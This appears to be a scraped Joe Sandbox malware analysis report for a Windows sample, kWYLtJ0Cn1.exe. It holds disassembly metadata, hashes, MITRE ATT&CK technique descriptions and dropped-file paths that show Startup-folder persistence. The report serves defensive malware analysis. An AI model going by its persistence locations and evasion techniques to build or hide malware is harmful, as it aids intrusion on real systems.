Instruction ID: 6e9b72b20ec5303a3736c490ea690dc32b83499eda0f693e0228120dfb4366d4
Opcode Fuzzy Hash: 2f9f3d06b8ca36615c2d89680dc2d8cf9567bd33cd4a318ae67adadf185cfb4c
Instruction Fuzzy Hash: AD01A731948699AFCB118B51CC49FEE77B8FB04B25F040629F812E6690D7B59900DA90

Function 00F65030 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F6503C
int.LIBCPMT ref: 00F6504F

Part of subcall function 00F61C6B: std::_Lockit::_Lockit.LIBCPMT ref: 00F61C7C
Part of subcall function 00F61C6B: std::_Lockit::~_Lockit.LIBCPMT ref: 00F61C96

std::_Facet_Register.LIBCPMT ref: 00F65082
std::_Lockit::~_Lockit.LIBCPMT ref: 00F65098
Concurrency::cancel_current_task.LIBCPMT ref: 00F650A3

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 8b1053777a694989fba2715e35332ae161788cb0bbf8d6ff289a15d218d7b246
Instruction ID: 53f827790e12ef62ccb336133bf1da47b34d8d1eca6656787a7de763ef32d3a8
Opcode Fuzzy Hash: 8b1053777a694989fba2715e35332ae161788cb0bbf8d6ff289a15d218d7b246
Instruction Fuzzy Hash: FE012B72900915BBCB15ABA4DC469DE776CEF81720F144149F801AB282EF75DE01A7D0

Function 00F61B73 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F61B7A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F61BB2

Part of subcall function 00F6B9E9: _Yarn.LIBCPMT ref: 00F6BA08
Part of subcall function 00F6B9E9: _Yarn.LIBCPMT ref: 00F6BA2C

Strings

bad locale name, xrefs: 00F61BC0

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 762e735a2e8480c1dea7b728701da7e3ecbdb72144e3237229d879980592661f
Instruction ID: 97ec0d1191baf5a5039838f97c75a039076e45e47f960135b766245325a790d7
Opcode Fuzzy Hash: 762e735a2e8480c1dea7b728701da7e3ecbdb72144e3237229d879980592661f
Instruction Fuzzy Hash: 58F01771509B409E83319F7A9881447FBE4BE283203948A2FE1DEC3A11D774E444DB6A

Function 00F61511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00F61516

Part of subcall function 00F69E64: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00F69E70
Part of subcall function 00F69E64: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00F69E90
Part of subcall function 00F69E64: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00F69EB0
Part of subcall function 00F69E64: std::regex_error::regex_error.LIBCPMT ref: 00F69ED0

std::exception::exception.LIBCONCRT ref: 00F61523

Part of subcall function 00F612A0: ___std_exception_copy.LIBVCRUNTIME ref: 00F612C7

Strings

string too long, xrefs: 00F61511

Memory Dump Source

Source File: 00000000.00000002.1675027103.0000000000F61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000000.00000002.1675014046.0000000000F60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675074781.0000000000FE9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000000FFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001100000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675567478.00000000013F4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675706373.00000000013F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675736994.00000000013F8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f60000_kWYLtJ0Cn1.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Xinvalid_argument___std_exception_copystd::_std::exception::exceptionstd::regex_error::regex_error
String ID: string too long
API String ID: 1410275967-2556327735
Opcode ID: f7c3d894b8a7b054f521428ccf0896bfc59e3b3c1c93018d1038a1592819af29
Instruction ID: 222551e671846f17b66d36ef7293dd5135a78a74f1233ac0c4911ce65fe2e244
Opcode Fuzzy Hash: f7c3d894b8a7b054f521428ccf0896bfc59e3b3c1c93018d1038a1592819af29
Instruction Fuzzy Hash: 5BC08C712083211383306A505C0188BBA44DF507A0701481ABA8482219DABA8880B2F1

Analysis Process: RegAsm.exePID: 7368, Parent PID: 7312COMMON

Execution Graph

Execution Coverage:	15.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	20%
Total number of Nodes:	10
Total number of Limit Nodes:	0

Executed Functions

Function 012132F0 Relevance: 1.7, APIs: 1, Instructions: 192
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01213390

Memory Dump Source

Source File: 00000001.00000002.4120554570.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1210000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8707ad2f6870b18a6453f33536626776a9238188b58d4ec997f3eb37e95761f4
Instruction ID: ada15b8d6b851a24fa6079c9310c20cb5b0e331023cdeee8e09c9f8859efe8e4
Opcode Fuzzy Hash: 8707ad2f6870b18a6453f33536626776a9238188b58d4ec997f3eb37e95761f4
Instruction Fuzzy Hash: 4381A074E00219DFDB14DFAAD584A9DBBF2BF88310F14C069E918AB319DB30A885CF54

Function 012132E7 Relevance: 1.6, APIs: 1, Instructions: 96
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 01213390

Memory Dump Source

Source File: 00000001.00000002.4120554570.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1210000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73d43d213a7228a5e398d3c04ddf95682ff25f34e0306c4b3534cf3609727e33
Instruction ID: 16ace5a6933215d6fc7f86538044aa04c17becff9e5a0605e371bde52174a3ff
Opcode Fuzzy Hash: 73d43d213a7228a5e398d3c04ddf95682ff25f34e0306c4b3534cf3609727e33
Instruction Fuzzy Hash: 3F417275E012199BDB18CFAAD94499DFBF3BF88310F14C12AD818AB318EB349946CF51

Function 01212E1B Relevance: .3, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.4120554570.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925d58c238a55d752a50437cd65d9c34fc37b6906a221e59eab68c389a10aeec
Instruction ID: c9037c1a1c6f924e359229da0ab3152d964e9fac868d8e88dfdcfc0585aa6382
Opcode Fuzzy Hash: 925d58c238a55d752a50437cd65d9c34fc37b6906a221e59eab68c389a10aeec
Instruction Fuzzy Hash: B6D1AC74E01229CFDB64DFA8D984B9DBBB2BF48300F2081A9E409A7355DB30AD85CF55

Function 01211248 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4120554570.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d271234273b3a7ae30b12dc5ebfdb07e9952ac1356666230945931fd3ce361de
Instruction ID: 250bc1d1729188c9f2c844e34bd4dc09c0ae934c137d7ee203210e023718bc32
Opcode Fuzzy Hash: d271234273b3a7ae30b12dc5ebfdb07e9952ac1356666230945931fd3ce361de
Instruction Fuzzy Hash: DF4144B4E012589FDB50CFA8D598BDDBBF0BB09314F20412AE818BB394D7B99949CF54

Non-executed Functions

Function 0121059C Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4120554570.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e95c0a4d868a45e144bb1dff3277bb17f0ba002d15029a8ca76fde6081718775
Instruction ID: f52aaa51673cd646e9b94222416c31c118b3c976e36297186f807c9f98e27c0c
Opcode Fuzzy Hash: e95c0a4d868a45e144bb1dff3277bb17f0ba002d15029a8ca76fde6081718775
Instruction Fuzzy Hash: CE31CCB5D04258DFCB10CFA9D584AEEFBF4EB09310F24906AE414B7214D774A989CF68

Function 01210CE0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4120554570.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1210000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 994c4389b120957dc51aa25afd195ec888ac63478784eebec63fc4adc6b6c9b2
Instruction ID: 75ced642f3744a7527c4533864006bfc1f74f4f80689ba9bcf7f2bdcb1ff486e
Opcode Fuzzy Hash: 994c4389b120957dc51aa25afd195ec888ac63478784eebec63fc4adc6b6c9b2
Instruction Fuzzy Hash: 1731DDB5D05258DFCB00CFA9D484AEEFBF4AF49310F24906AE454B7214D774A989CF68

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kWYLtJ0Cn1.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Data Obfuscation

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
kWYLtJ0Cn1.exe